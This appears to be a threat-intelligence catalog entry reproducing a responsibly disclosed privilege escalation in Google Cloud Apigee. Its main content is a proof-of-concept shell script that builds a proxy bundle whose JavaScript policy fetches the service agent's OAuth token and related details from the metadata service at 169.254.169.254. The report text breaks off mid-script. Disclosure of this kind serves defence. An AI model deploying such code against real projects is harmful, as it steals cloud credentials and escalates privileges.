AETERNAE AI RESEARCH LLC INDEPENDENT RESEARCH
ÆAETERNAERESEARCH
Sign inRequest access
← Malware catalog

Attributed metadata history

REPORTPUBLIC METADATA

GCP Apigee PE to Service Agent with API Proxy

GCP Apigee PE to Service Agent with API Proxy  Tenable Research has identified and responsibly disclosed a privilege escalation vulnerability in Google Cloud Apigee. This vulnerability allowed an attacker with restricted Apigee permissions to exfiltrate the OAuth access token of the privileged Apigee Core Service Agent.The vulnerability stems from Apigee API Proxies' ability to execute custom JavaScript policy scripts that can access the underlying Instance Metadata Service (IMDS).An attacker with basic proxy editor or environment admin roles (such as roles/apigee.editor or roles/apigee.environmentAdmin) could construct and deploy an API Proxy containing a malicious JavaScript resource. When triggered, the script queries the local IMDS (169.254.169.254) to fetch the default service account credentials running the runtime instance, specifically the Apigee Core Service Agent token.By capturing this token, the attacker effectively escalates their privileges. The service agent possesses extensive, elevated permissions beyond typical proxy management, including full administrative access to API Hub resources, Cloud Trace, Cloud Logging, and Cloud Monitoring across the project. Proof of Concept:1. Create a malicious proxy bundle:#!/bin/sh mkdir -p exploit-bundle/apiproxy/proxies mkdir -p exploit-bundle/apiproxy/policies mkdir -p exploit-bundle/apiproxy/resources/js cat > exploit-bundle/apiproxy/proxies/default.xml << 'EOF' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <ProxyEndpoint name="default"> <PreFlow name="PreFlow"> <Request> <Step> <Name>Script-Exploit</Name> </Step> </Request> <Response/> </PreFlow> <HTTPProxyConnection> <BasePath>/exploit</BasePath> </HTTPProxyConnection> <RouteRule name="noroute"/> </ProxyEndpoint> EOF cat > exploit-bundle/apiproxy/policies/Script-Exploit.xml << 'EOF' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Script name="Script-Exploit"> <ResourceURL>js://exploit.js</ResourceURL> </Script> EOF cat > exploit-bundle/apiproxy/resources/js/exploit.js << 'EOF' var BufferedReader = java.io.BufferedReader; var InputStreamReader = java.io.InputStreamReader; function httpGet(urlStr, headers) { var url = new java.net.URL(urlStr); var conn = url.openConnection(); conn.setConnectTimeout(5000); conn.setReadTimeout(5000); if (headers) { for (var k in headers) { conn.setRequestProperty(k, headers[k]); } } var reader = new BufferedReader(new InputStreamReader(conn.getInputStream())); var line, data = ""; while ((line = reader.readLine()) != null) { data += line + "\n"; } reader.close(); return data; } var results = []; // 1. Get service account email try { var email = httpGet( "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email>", {"Metadata-Flavor": "Google"} ); results.push("SA_EMAIL:" + email.trim()); } catch(e) { results.push("SA_EMAIL_ERR:" + e); } // 2. Get access token try { var token = httpGet( "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token>", {"Metadata-Flavor": "Google"} ); results.push("SA_TOKEN:" + token.trim()); } catch(e) { results.push("SA_TOKEN_ERR:" + e); } // 3. Get scopes try { var scopes = httpGet( "<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes>", {"Metadata-Flavor": "Google"} ); results.push("SA_SCOPES:" + scopes.trim()); } catch(e) { results.push("SA_SCOPES_ERR:" + e); } // 4. Get project ID try { var project =

Reference details

Source category
research-report
First reported
Aug 31, 2026 17:07 UTC
Last reported
Aug 31, 2026 17:07 UTC
Catalog updated
Nov 17, 2026 02:05 UTC
Record ID
db04b942fa1e12cb213be337d51ae7e62df7bd6dbc1a2013fd3da0e24108513b

Published indicators

Network indicators are visibly defanged. This page does not make them clickable or send them to another service.

No validated file hashes or network indicators are stored for this record.

Source observations

intelligence_src_1653fbf8e2da6d59a7

Source-provided label
Publisher RSS metadata
Evidence class
mentioned in report
Confidence
Not reported
Observed
Aug 31, 2026 17:07 UTC
Retrieved
Nov 17, 2026 02:05 UTC

This record contains metadata and attribution only. It does not host, download, unpack, render, or execute malware samples.

Feed collection status

Sources represented on this page. Publication and observation dates describe the content; successful batch dates describe local collection. A recent batch does not certify complete coverage or current provider availability.

1 sources: 0 stale, 0 needing attention, 0 paused, 0 unverified.

Review source update dates and status
  • intelligence_src_1653fbf8e2da6d59a7Recent successful batchLast successful batch: Last attempt:

Stale means older than twice the recorded collection interval, with a minimum of one hour; without an interval, the threshold is 24 hours. Cached content remains available while a feed is stale, paused, or unverified.